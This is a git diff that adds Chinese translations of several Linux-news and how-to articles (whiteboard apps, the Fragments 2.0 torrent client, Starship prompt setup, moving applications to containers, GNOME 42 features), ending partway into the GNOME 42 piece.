标签页管理功能确实能省下不少时间,我会选择 Vivaldi,不过我最后还是换回了 Firefox,至少等到 Vivaldi 能够在双显示器环境下流畅运行。 + +你又会选择哪款呢?欢迎在评论区留言,让我了解你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/brave-vs-vivaldi/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[imgradeone](https://github.com/imgradeone) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://linux.cn/article-14075-1.html +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/brave-vivaldi-ui.png?resize=784%2C600&ssl=1 +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/brave-appearance-settings.png?resize=800%2C519&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/vivaldi-themes-default.png?resize=800%2C580&ssl=1 +[5]: https://help.vivaldi.com/desktop/privacy/is-vivaldi-open-source/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/vivaldi-tab-stack.png?resize=732%2C551&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/brave-tab-management.png?resize=800%2C523&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/brave-search-browser.png?resize=749%2C600&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/vivaldi-other-features.png?resize=800%2C589&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/vivaldi-privacy.png?resize=800%2C560&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/brave-privacy-settings.png?resize=800%2C618&ssl=1 +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/vivaldi-brave-benchmarks.png?resize=800%2C450&ssl=1 +[13]: https://webkit.org/blog/8685/introducing-the-jetstream-2-benchmark-suite/ +[14]: https://webkit.org/blog/8063/speedometer-2-0-a-benchmark-for-modern-web-app-responsiveness/ +[15]: https://web.basemark.com/ +[16]: https://vivaldi.com/download/ +[17]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/vivaldi-download.png?resize=800%2C408&ssl=1 +[18]: https://brave.com/linux/#linux +[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/02/brave-install-on-linux.png?resize=800%2C358&ssl=1 +[20]: https://snapcraft.io/brave +[21]: https://linux.cn/article-14028-1.html diff --git a/published/202202/20220206 Best Whiteboard Applications for Linux Systems.md b/published/202202/20220206 Best Whiteboard Applications for Linux Systems.md new file mode 100644 index 0000000000..03c1ee4d53 --- /dev/null +++ b/published/202202/20220206 Best Whiteboard Applications for Linux Systems.md @@ -0,0 +1,201 @@ +[#]: subject: "Best Whiteboard Applications for Linux Systems" +[#]: via: "https://www.debugpoint.com/2022/02/top-whiteboard-applications-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14271-1.html" + +适用于 Linux 系统的最佳白板应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202202/14/162535uomtvutyoo44q3hs.jpg) + +> 我们将向你展示几个用于 Linux 的白板应用程序。我相信这些会对你有很大的帮助。 + +一般来说,数字白板是一种包含一块白板形式的大型互动显示器的工具。白板设备的一些例子,如平板电脑、大屏幕手机、触摸屏笔记本电脑、平面显示器等。 + +如果教员使用白板,可以使用触摸感应笔、手写笔、手指或鼠标在这些设备屏幕上画、写或操作元素。你可以拖动、点击、擦除、绘制,在白板上做一切可以用笔在纸上完成的事情。 + +但要做到这些,你需要支持所有这些功能的软件,即在你的触摸和显示器之间架起桥梁。 + +现在,有许多商业应用程序可用于这项工作。但我们将在本文中谈论一些可用于 Linux 的自由开源的白板应用程序。 + +### Linux 上的最佳白板应用 + +#### 1、Xournal++ + +我们介绍的第一个应用是 [Xournal++][1]。在我看来,这是这份名单上最好的应用。它相当可靠,而且已经出现了一段时间了。 + +Xournal++ 可以让你写字、画画,做一切你通常在纸上做的事情。它支持手写、带高亮的自定义笔、橡皮擦等。它支持分层、多页功能、添加外部图片、添加音频等功能。 + +这个应用程序支持几乎所有的压敏平板,包括 Wacom、Huion、XP-Pen。我在一台触摸板笔记本电脑上测试了它,只需稍作设置就能工作。所以,你可以用它使用任何压敏设备。 + +它是用 C++ 和 GTK3 编写的。 + +![Xournal++ 白板应用程序(Linux)][2] + +对于 Linux 系统,可以安装如下软件包。它是免费的,也可用于 Linux、macOS 和 Windows。如果你想在手机上试用,也可以使用它的测试版。 + +这个应用程序有 AppImage、Snap、Flatpak 和 deb 包。对于基于 Ubuntu/Debian 的系统,也有 PPA 版本。 + +此外,还有适用于 Fedora、SUSE 和 Arch 的专用软件包。请点击下面的链接下载 Xournal++,获取你喜欢的可执行文件格式。 + + * [主页][1] + * [文档][4] + * [源代码][5] + * [下载 Xournal++][3] + +#### 2、OpenBoard + +我们想重点介绍的下一个是 [OpenBoard][6]。这个简单的白板绘图应用程序很容易使用,不会有太多的选项让你操心。 + +这款软件非常适合初学者和初级学生在在线课程中做笔记。 + +![OpenBoard][7] + +OpenBoard 加载了很多功能。如颜色、画笔、文本、简单的绘图形状、页面支持等。这个应用程序是使用 Qt 技术构建的。 + +这个应用程序只适用于 Ubuntu,它是一个独立的 deb 包。你可以从下面的链接下载 OpenBoard。 + + * [主页][6] + * [文档][9] + * [源代码][10] + * [下载 OpenBoard][8] + +#### 3、Notelab + +[NoteLab][11] 是上个年代最古老的白板应用程序之一。它是一个自由开源的应用程序,有大量的功能。因此,你可以理解这个应用程序是多么的稳定和流行。 + +以下是它的一些特点: + + * 这个应用程序支持所有流行的图像格式作为导出选项。例如,SVG、PNG、JPG、BMP 等。 + * 用于定制笔和纸的配置选项。 + * 内置内存管理器,用于自定义分配 NoteLab 使用的内存。 + * 多种样式的纸张。 + * 所有标准的绘图工具。 + * 你可以在笔记的任何部分调整大小、移动、删除、改变颜色和执行其他操作。 + +![NoteLab][12] + +然而,这个应用程序是一个 Java 应用程序,并以一个 .jar 文件分发。因此,你需要 Java 运行时才能工作。你可以参考我们的指南,通过以下链接在 Linux 系统中安装 Java 或 JRE。 + + * [如何在基于 Ubuntu的系统中安装 Java/JRE][13] 。 + * [如何在 Arch Linux 中安装 Java/JRE][14] 。 + +NoteLab 带有一个独立的可执行的 .jar 文件,你可以通过以下链接从 SourceForge 下载。记住,你需要 JRE 来运行这个应用程序。 + + * [主页][11] + * [文档][17] + * [下载 NoteLab][16] + +#### 4、Rnote + +我们要介绍的第三个应用程序叫做 [Rnote][18]。Rnote 是一个通过触摸设备进行手写笔记的优秀应用。这个应用程序是基于矢量图像的,可以绘制、注释图片和 PDF 文件。它有原生的 .rnote 文件格式,也支持导入/导出 png、jpeg、svg 和 PDF 的选项。 + +Rnote 的一个很酷的特点是,它支持 Xournal++ 文件格式(本列表中的第一个应用程序),这使它成为一个必备的工具。 + +Rnote 使用 GTK4 和 Rust 构建,非常适合 GNOME 桌面和各种类型的 Linux 系统。 + +这个应用程序目前正在开发中,在使用时请记住这一点。 + +![Rnote - 基于 GTK4 和 Rust 的 Linux 白板应用程序][19] + +这个应用程序是以 Flatpak 包的形式提供的。你可以使用 [这篇指南][20] 为你的 Linux 系统设置 Flatpak,然后点击 [此链接安装][21]。 + +- [主页和源代码][18] + +#### 5、Lorien + +[Lorien][22] 是一个完美的数字笔记本软件,可以用于你的构思会议,你可以用它的各种工具创建笔记。Lorien 是一个基于 Godot 游戏引擎的跨平台、自由开源的“无限画布绘画/记事”应用程序。这个应用程序非常适合于为头脑风暴会议做快速笔记。 + +工具箱相当标准,有自由画笔、橡皮擦、线条工具和选择工具。你可以移动或删除你的笔触的选定部分,这是一个点的集合,在运行时渲染。 + +![Linux 的 Lorien 白板应用程序][23] + +使用 Lorien 不需要安装。可以从下面的链接中下载一个独立的可执行 tar 文件。下载后,解压文件并双击运行。 + +- [主页和源代码][22] +- [下载 Lorien][24] + +#### 6、Rainbow Board + +Rainbow Board 是一个基于 Electron 和 React 的自由开源的白板应用。一般来说,因为它们的性能和笨重的性质,人们不喜欢 Electron 应用程序。但是,既然我们要列出这个类别的应用,我认为这个应用是值得一提的。 + +它有一个标准的画布,支持触摸和手写笔绘制。工具箱包括画笔尺寸、颜色、填充颜色、字体、撤销和重做动作。你可以将你的绘图导出为 PNG 或 SVG 文件。 + +![Linux 的 Rainbow Board 白板应用程序][25] + +这个应用程序有 Snap、Flatpak 和独立的 deb 安装程序。你可以从下面的链接中的页面下载它们。 + + * [主页][27] + * [源代码][28] + * [下载 Rainbow Board][26] + +### 荣誉提名 + +我想在这里提到的最后两个绘图应用程序是 Vectr 和 Ecxalidraw。这些是基于网络的白板绘图应用程序。我把它们放在一个单独的部分,因为它们不是桌面应用程序。 + +所以,如果你不愿意再安装一个应用程序;或者使用的是学校或工作系统,没有权限安装,你可以打开网络浏览器,使用这些。以下是它们的网址: + +- [Vectr][29] +- [Ecxalidraw][30] + +### 总结 + +这就是一些适用于 Linux 和其他操作系统的现代白板 [绘图][31] 应用程序。由于疫情和在家工作的原因,你们中的许多人可能正在用纸笔为你们的在线课程或课堂做笔记。我相信这些会对你的学习工作有所帮助。 + +试试这些,你一定会找到最适合你的那一个。请在下面的留言框中告诉我你对这份清单的意见或反馈。 + +加油! + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/02/top-whiteboard-applications-linux/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://xournalpp.github.io/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/02/Xournal-Whiteboard-Application-for-Linux-1024x576.jpg +[3]: https://xournalpp.github.io/installation/linux/ +[4]: https://xournalpp.github.io/guide/overview/ +[5]: https://github.com/xournalpp/xournalpp/ +[6]: https://openboard.ch/ +[7]: https://www.debugpoint.com/wp-content/uploads/2022/02/OpenBoard.jpg +[8]: https://openboard.ch/download.en.html +[9]: https://openboard.ch/support.html +[10]: https://github.com/OpenBoard-org/OpenBoard +[11]: http://java-notelab.sourceforge.net/ +[12]: https://www.debugpoint.com/wp-content/uploads/2022/02/NoteLab.jpg +[13]: https://www.debugpoint.com/2016/05/how-to-install-java-jre-jdk-on-ubuntu-linux-mint/ +[14]: https://www.debugpoint.com/2021/02/install-java-arch/ +[15]: https://www.debugpoint.com/2018/05/gimp-2-10-download-install-linux-ubuntu/ +[16]: https://sourceforge.net/projects/java-notelab/files/NoteLab/ +[17]: http://java-notelab.sourceforge.net/features.html +[18]: https://github.com/flxzt/rnote +[19]: https://www.debugpoint.com/wp-content/uploads/2022/02/Rnote-Whiteboard-Application-for-Linux-based-on-GTK4-and-Rust-1024x576.jpg +[20]: https://flatpak.org/setup/ +[21]: https://dl.flathub.org/repo/appstream/com.github.flxzt.rnote.flatpakref +[22]: https://github.com/mbrlabs/Lorien +[23]: https://www.debugpoint.com/wp-content/uploads/2022/02/Lorien-Whiteboard-Application-for-Linux.jpg +[24]: https://github.com/mbrlabs/Lorien/releases +[25]: https://www.debugpoint.com/wp-content/uploads/2022/02/Rainbow-Board-Whiteboard-application-for-Linux-1024x560.jpg +[26]: https://www.electronjs.org/apps/rainbow-board +[27]: https://harshkhandeparkar.github.io/rainbow-board/ +[28]: https://github.com/HarshKhandeparkar/rainbow-board +[29]: https://vectr.com/ +[30]: https://excalidraw.com/ +[31]: https://www.debugpoint.com/tag/digital-drawing +[32]: https://unsplash.com/photos/doTjbfxrmRw +[33]: https://t.me/debugpoint +[34]: https://twitter.com/DebugPoint +[35]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[36]: https://facebook.com/DebugPoint diff --git a/published/202202/20220207 BitTorrent Client ‘Fragments 2.0- for Linux is Here, Rebuilt Using Rust with a New UI.md b/published/202202/20220207 BitTorrent Client ‘Fragments 2.0- for Linux is Here, Rebuilt Using Rust with a New UI.md new file mode 100644 index 0000000000..e703fc0b4b --- /dev/null +++ b/published/202202/20220207 BitTorrent Client ‘Fragments 2.0- for Linux is Here, Rebuilt Using Rust with a New UI.md @@ -0,0 +1,139 @@ +[#]: subject: "BitTorrent Client ‘Fragments 2.0’ for Linux is Here, Rebuilt Using Rust with a New UI" +[#]: via: "https://news.itsfoss.com/fragments-2-0-release/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14252-1.html" + +Linux BitTorrent 客户端 Fragments 2.0 全新发布 +====== + +> Fragments 2.0 的发布使其成为 Linux 发行版中最方便用户使用的 BitTorrent 客户端之一。让我们来看看有什么新变化。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fragments-2-0-ft.png?w=1200&ssl=1) + +Fragments 是 [Linux 上最好的 BitTorrent 客户端之一][1]。 + +最新的 Fragments 2.0 是一个重大升级,它使用 Rust、GTK 4 和 Libadwaita 从头开始完全重写。 + +除了技术上的改进之外,你还会发现一些新的功能和改进的用户界面。 + +让我重点介绍一下它的变化。 + +### Fragments 2.0 的新变化 + +![][2] + +最近,Gnome 应用程序的生态系统经历了一些大规模的变化。在这个变化的最前沿是向 Gtk4 和 [Libadwaita][3] 的过渡。不幸的是,这种变化并不小,许多应用程序需要从头开始重建,以支持这些新标准。 + +与许多其他应用程序开发者一起,Fragment 的开发者 [Felix Häcker][4] 决定从头开始重建 Fragments,现在作为 Fragments 2.0 发布。因此,我们现在得到了一个改进的 Linux 的 BitTorrent 客户端。 + +其中的一些改进包括。 + + * 一个基于 Libadwaita 的漂亮的新用户界面 + * 新的模块化架构 + * 能够被用作远程 Fragments / Transmission 会话的远程控制 + * 新的偏好对话框有更多的选项 + * 能够查看有关网络的统计数据 + +#### 一个新的用户界面 + +![][5] + +Fragments 2.0 现在有一个基于 Libadwaita 的新 UI。补充一句,Libadwaita 是 GTK4 对 Gnome 应用程序的一个扩展。它有几个优点,最明显的是在所有 Gnome 应用程序中具有一致的外观。 + +它比旧的主题更加扁平和圆润,我觉得,看起来非常时尚。 + +你可以得到一个外观简洁的 BitTorrent 应用程序,易于浏览,你也可以快速访问一些基本的选项。 + +#### 新的模块化架构 + +虽然不能直接看到,但 Fragments 2.0 具有一个全新的模块化架构。在内部,该应用程序的所有不同部分都是模块化的。虽然这起初看起来没有那么大的影响,但我可以看到它对用户和开发者都有深远的影响。 + +首先,它应该意味着更容易维护,希望能让开发人员花更多时间在新功能和错误修复上。其次,它也应该意味着应用程序的更大稳定性。如果 Fragments 的一个部分崩溃了,应用程序的其他部分应该保持工作,希望不会对用户产生任何重大影响。 + +这只是我想到的这个新架构的两个好处,我相信还可以有更多。 + +#### 新的首选项对话框 + +![][6] + +最后,Fragments 2.0 引入了几个经常要求的设置选项。在这些选项中,我认为最重要的是能够改变尚未完全下载的种子的默认文件夹。 + +![][11] + +虽然仍然不像它的一些替代品那样可以定制,但这些新增功能可以帮助你调整设置以适应你的要求。 + +其中一些选项包括: + + * 添加种子后自动启动它们 + * 启用/禁用下载队列 + * 可定制的对等体限制 + * 网络端口设置 + * 自动端口转发的切换 + +#### 控制远程 Fragments / Transmission 会话 + +远程控制你的下载的能力可以产生相当大的影响。随着 Fragments 2.0,该应用程序终于获得了类似的功能,允许用户远程控制其他安装的 Fragments 和 Transmission 客户端。 + +这对使用单独的下载服务器的人来说非常有用,因为他们往往不能直接访问它。 + +虽然这在其他应用程序中一直提供的,但这一功能被直接整合到 Fragments 中,使得它成为一个对高级用户有用的 BitTorrent 客户端! + +#### 其他改进措施 + +![][7] + +除了所有这些大的变化之外,还有一些错误的修复和一些新的能力。 + +一些关键的亮点包括: + + * 添加的种子的磁力链可以被复制到剪贴板上 + * 可以查看关于当前会话的统计数据(速度、总下载数据等) + +你可以在其 [GitLab 页面][8] 上探索更多关于 Fragments 2.0 的信息。 + +### 下载 Fragments 2.0 + +Fragments 是以 Flatpak 应用程序的形式提供的。如果你的 Linux 发行版没有内置的支持,你可以通过我们的 [Flatpak 指南][9] 来设置 Flatpak。 + +- [Fragments(Flathub)][10] + +你可以尝试在你的软件中心搜索它(启用 Flatpak 集成)或在终端键入以下命令: + +``` +flatpak install flathub de.haeckerfelix.Fragments +``` + +Fragments 2.0.1(有一些小的修正)也可以在其 GitLab 页面上找到,但还没有反映在 Flathub 上。 + +如果你在使用 Fragments 2.0 时有问题,你可能想等更新版本进入 Flathub。 + +你最喜欢的 BitTorrent Linux 客户端是什么?Fragments 2.0 是否令人印象深刻?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fragments-2-0-release/ + +作者:[Jacob Crume][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-torrent-ubuntu/ +[2]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fragments-2-0-home.png?resize=1568%2C1109&ssl=1 +[3]: https://adrienplazas.com/blog/2021/03/31/introducing-libadwaita.html +[4]: https://twitter.com/haeckerfelix +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fragments-2-0-screenshot.png?resize=1568%2C1424&ssl=1 +[6]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fragments-2-0-preferences.png?resize=1568%2C1454&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fragments-2-other.png?w=1376&ssl=1 +[8]: https://gitlab.gnome.org/World/Fragments +[9]: https://itsfoss.com/flatpak-guide/ +[10]: https://flathub.org/apps/details/de.haeckerfelix.Fragments +[11]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/fragments-2-downloads.png?resize=1568%2C1454&ssl=1 \ No newline at end of file diff --git a/published/202202/20220207 Customize your shell prompt with Starship.md b/published/202202/20220207 Customize your shell prompt with Starship.md new file mode 100644 index 0000000000..ba2c3bfd31 --- /dev/null +++ b/published/202202/20220207 Customize your shell prompt with Starship.md @@ -0,0 +1,105 @@ +[#]: subject: "Customize your shell prompt with Starship" +[#]: via: "https://opensource.com/article/22/2/customize-prompt-starship" +[#]: author: "Moshe Zadka https://opensource.com/users/moshez" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14274-1.html" + +用 Starship 定制你的 shell 提示符 +====== + +> 控制你的提示符,让你需要的所有信息触手可及。 + +![](https://img.linux.net.cn/data/attachment/album/202202/14/232227pkh7bxi1a9asbfd5.jpg) + +没有什么比我忘记在我的 Git 仓库中 `git add` 文件更让我恼火的了。我在本地测试,提交,然后推送,却发现在持续集成阶段失败了。更糟糕的是,我在 `main` 分支而不是特性分支上,并不小心推送到它。最好的情况是,因为分支保护而失败,我需要做一些操作才能把改动推送到一个分支。更糟糕的是,我没有正确配置分支保护,不小心直接推送到了 `main` 分支。 + +如果这些信息能在提示中直接获得,那不是很好吗? + +在提示符中甚至还有更多有用的信息。虽然 Python 虚拟环境的名称在提示符中,但虚拟环境的 Python 版本却不在提示符中。 + +可以仔细地将 `PS1` 环境变量配置为所有相关的信息。这可能会变得很长,很烦人,而且调试起来并不简单。 + +这就是 Starship 被设计来解决的问题。 + +### 安装 Starship + +Starship 的初始设置只需要两个步骤:安装并配置你的 shell。安装可以很简单: + +``` +$ curl -fsSL https://starship.rs/install.sh +``` + +阅读安装脚本,确保你理解它的作用,然后让它可执行并运行它: + +``` +$ chmod +x install.sh +$ ./install.sh +``` + +还有其他的安装方法,在其网站上有介绍。你可以在构建镜像的步骤中设置虚拟机或容器。 + +### 配置 Starship + +下一步是配置你的 shell 来使用它。要一次性尝试,假设 shell 是 `bash` 或 `zsh`,请运行以下命令: + +``` +$ eval "$(starship init $(basename $SHELL))" +``` + +你的提示符立即改变: + +``` +localhost in myproject on  master +> +``` + +如果你喜欢你所看到的,把 `eval "$(starship init $(basename $SHELL))"` 添加到你的 shell 的 `rc` 文件中,使其永久化。 + +### 自定义 Starship + +默认安装假定你可以安装“电脑迷字体”,例如 [Fantasque Sans Mono][2]。 特别是,你需要一种带有来自 Unicode 的“私有实现”部分的字形的字体。 + +这在控制终端时非常有效,但有时,终端的配置并不容易。例如,当使用一些浏览器内的 shell 抽象时,配置浏览器的字体可能是不太容易的。 + +该码位的最大用户是 Git 集成,它使用一个特殊的自定义符号来表示“分支”。禁用它可以通过使用文件 `~/.config/starship.toml` 来配置 `starship.rs`。 + +禁用分支符号是通过配置 `git_branch` 部分的 `format` 变量完成的: + +``` +[git_branch] +format = "on [$branch]($style) " +``` + +`starship.rs` 的一个好处是,改变配置会立即生效。保存文件,按下**回车**,看看字体是否符合预期。 + +还可以配置提示符中不同部分的颜色。例如,如果 Python 部分的亮黄色在白色背景上有点难看,你可以配置为蓝色: + +``` +[python] +style = "blue bold" +``` + +许多语言都有配置支持,包括 Go、.NET 和 JavaScript。还支持显示命令的持续时间(只针对耗时超过阈值的命令)等。 + +### 控制提示符 + +控制你的提示符,让你需要的所有信息触手可及。安装 Starship,让它为你工作,并享受吧! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/customize-prompt-starship + +作者:[Moshe Zadka][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/moshez +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/space_stars_cosmic.jpg?itok=bE94WtN- (Cosmic stars in outer space) +[2]: https://github.com/belluzj/fantasque-sans diff --git a/published/202202/20220208 5 steps to migrate your application to containers.md b/published/202202/20220208 5 steps to migrate your application to containers.md new file mode 100644 index 0000000000..71a23f0f35 --- /dev/null +++ b/published/202202/20220208 5 steps to migrate your application to containers.md @@ -0,0 +1,90 @@ +[#]: subject: "5 steps to migrate your application to containers" +[#]: via: "https://opensource.com/article/22/2/migrate-application-containers" +[#]: author: "Alan Smithee https://opensource.com/users/alansmithee" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14273-1.html" + +将应用程序迁移到容器的 5 个步骤 +====== + +> 如果你是容器的新手,不要被那些术语所吓倒。这些关键原则将帮助你把应用迁移到云中。 + +![](https://img.linux.net.cn/data/attachment/album/202202/14/224455i7wz95yiq9hxltw2.jpg) + +一般来说,人们想使用你的应用程序这是一件好事。然而,当应用程序在服务器上运行时,应用程序受欢迎是有代价的。随着用户对资源需求的增加,在某些时候,你可能会发现你需要扩展你的应用程序。一种选择是在这种情况下增加更多的服务器,建立一个像 Nginx 这样的 [负载平衡器][2],以满足需求。但是,这种方法的成本可能很昂贵,因为当需求低的时候,在没有流量的服务器上运行你的应用程序的实例并不会节省资源。容器的优点是它是非持久的,在有需求时启动新实例,而随着需求的减少逐渐消失。如果这听起来像是你需要的功能,那么现在可能是将你的应用程序迁移到容器的时候了。 + +将应用程序迁移到容器中,很快就会变得迷失方向。虽然容器内的环境可能感觉很熟悉,但许多容器镜像是最小化的,而且它们被设计为无状态的。不过在某种程度上,这也是容器的优势之一。就像 Python 虚拟环境一样,它是一块白板,可以让你构建(或重建)你的应用程序,而没有许多其他环境所提供的无形的默认值。 + +每一次向云服务的迁移都是独一无二的,但在将你的应用程序移植到容器之前,你应该注意以下几个重要原则。 + +### 1、理解你的依赖关系 + +将你的应用程序移植到容器中是一个很好的机会,可以了解你的应用程序实际依赖的东西。由于除了最基本的系统组件外,很少有默认安装的组件,你的应用程序一开始不太可能在容器中运行。 + +在重构之前,确定你的依赖关系。首先,在你的源代码中用 `grep` 查找 `include`、`import`、`require`、`use` 或你选择的语言中用来声明依赖关系的任何关键词。 + +``` +$ find ~/Code/myproject -type f \ + -iname ".java" \ + -exec grep import {} \; +``` + +不过,仅仅识别你使用的特定语言的库可能是不够的。审计依赖关系,这样你就能知道是否有语言本身运行所需的低级库,或者特定的模块以预期的功能运行。 + +### 2、评估你的数据存储 + +容器是无状态的,当一个容器崩溃或停止运行时,该容器的实例就永远消失了。如果你要在该容器中保存数据,这些数据也会消失。如果你的应用程序存储用户数据,所有的存储必须发生在容器之外,在你的应用程序的实例可以访问的某个位置。 + +你可以使用映射到容器内某个位置的本地存储来存储简单的应用程序配置文件。这是一种常见的技术,适用于需要管理员提供简单配置值的 Web 应用程序,如管理员的电子邮件地址、网站标题等。比如说: + +``` +$ podman run \ + --volume /local/data:/storage:Z \ + mycontainer +``` + +然而,你可以配置一个数据库,如 MariaDB 或 PostgreSQL,将大量数据在几个容器中的共享存储。对于私人信息,如密码,[你可以配置一个机密存储][3]。 + +对于你需要如何重构你的代码,相应地调整存储位置,这可能意味着改变路径到新的容器存储映射,移植到不同的数据库,甚至是纳入容器特定的模块。 + +### 3、准备好你的 Git 仓库 + +容器在构建时通常会从 Git 仓库中拉取源代码。一旦你的 Git 仓库成为你的应用程序的生产就绪代码的标准来源,你必须有一个管理 Git 仓库的计划。要有一个发布分支或生产分支,并考虑使用 [Git 钩子][5] 来拒绝意外的未经批准的提交。 + +### 4、了解你的构建系统 + +容器化应用程序可能没有传统的发布周期。当容器被构建时,它们会被从 Git 中拉取出来。你可以启动任何数量的构建系统作为容器构建的一部分,但这可能意味着调整你的构建系统,使其比过去更加自动化。你应该重构你的构建过程,使你完全有信心它能在无人值守的情况下工作。 + +### 5、构建镜像 + +构建镜像不一定是复杂的任务。你可以使用 [现有的容器镜像][6] 作为基础,用一个简单的 Docker 文件对其进行调整。另外,你也可以使用 [Buildah][7] 从头开始构建你自己的镜像。 + +在某种程度上,构建容器的过程与实际重构代码一样,都是开发的一部分。容器的构建是为了获取、组装和执行你的应用程序,所以这个过程必须是自动化的、健壮的。建立一个好的镜像,就为你的应用程序建立了一个坚实可靠的基础。 + +### 容器化 + +如果你是容器的新手,不要被这些术语所吓倒。容器只是另一种环境。容器化开发的感知约束实际上可以帮助你专注于你的应用程序,并更好地了解它是如何运行的、它需要什么才能可靠地运行,以及当出错时有哪些潜在的风险。相反,这导致系统管理员在安装和运行你的应用程序时受到的限制要少得多,因为从本质上讲,容器是一个受控的环境。仔细审查你的代码,了解你的应用程序需要什么,并相应地重构它。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/migrate-application-containers + +作者:[Alan Smithee][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/alansmithee +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/business_clouds.png?itok=IRsi1qOF (A person holding on to clouds that look like balloons) +[2]: https://opensource.com/article/21/4/load-balancing +[3]: https://www.redhat.com/sysadmin/new-podman-secrets-command +[4]: https://opensource.com/downloads/mariadb-mysql-cheat-sheet +[5]: http://redhat.com/sysadmin/git-hooks +[6]: https://www.redhat.com/sysadmin/top-container-images +[7]: https://opensource.com/article/22/1/build-your-own-container-scratch diff --git a/published/202202/20220208 7 New Features That Make GNOME 42 an Awesome Release.md b/published/202202/20220208 7 New Features That Make GNOME 42 an Awesome Release.md new file mode 100644 index 0000000000..fa3efb7bd8 --- /dev/null +++ b/published/202202/20220208 7 New Features That Make GNOME 42 an Awesome Release.md @@ -0,0 +1,150 @@ +[#]: subject: "7 New Features That Make GNOME 42 an Awesome Release" +[#]: via: "https://news.itsfoss.com/gnome-42-features/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14267-1.html" + +值得关注的 GNOME 42 的 7 个新特色 +====== + +> GNOME 42 是一个令人激动的版本,它将应用程序移植到了 GTK 4,还有一个新的暗色风格偏好。你觉得怎么样? + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2022/02/gnome-42-ft.jpg?w=1200&ssl=1) + +GNOME 42 将是一个值得关注的版本。 + +它包括明显的视觉变化和对桌面体验的改进。当然,[GNOME 41][1] 中的变化所赢得的赞誉也适用于新版本。 + +GNOME 42 将于 2022 年 3 月 23 日发布,但它快到测试阶段了(计划于 2022 年 2 月 12 日)。 + +因此,让我们来看看在最终版本中你应该看到的变化。 + +你可以期待在 Fedora 36 工作站和 [Ubuntu 22.04 LTS][2] 中看到 GNOME 42。 + +### GNOME 42 有什么新变化? + +请注意,GNOME 42 还没有完全就绪。因此,到下个月的正式宣布前,我们可以期待更多关于新功能和变化的细节。而且,我们将确保在这时更新文章。 + +#### 1、系统级的暗色风格偏好 + +![][3] + +与 elementary OS 团队为 [elementary OS 6][4] 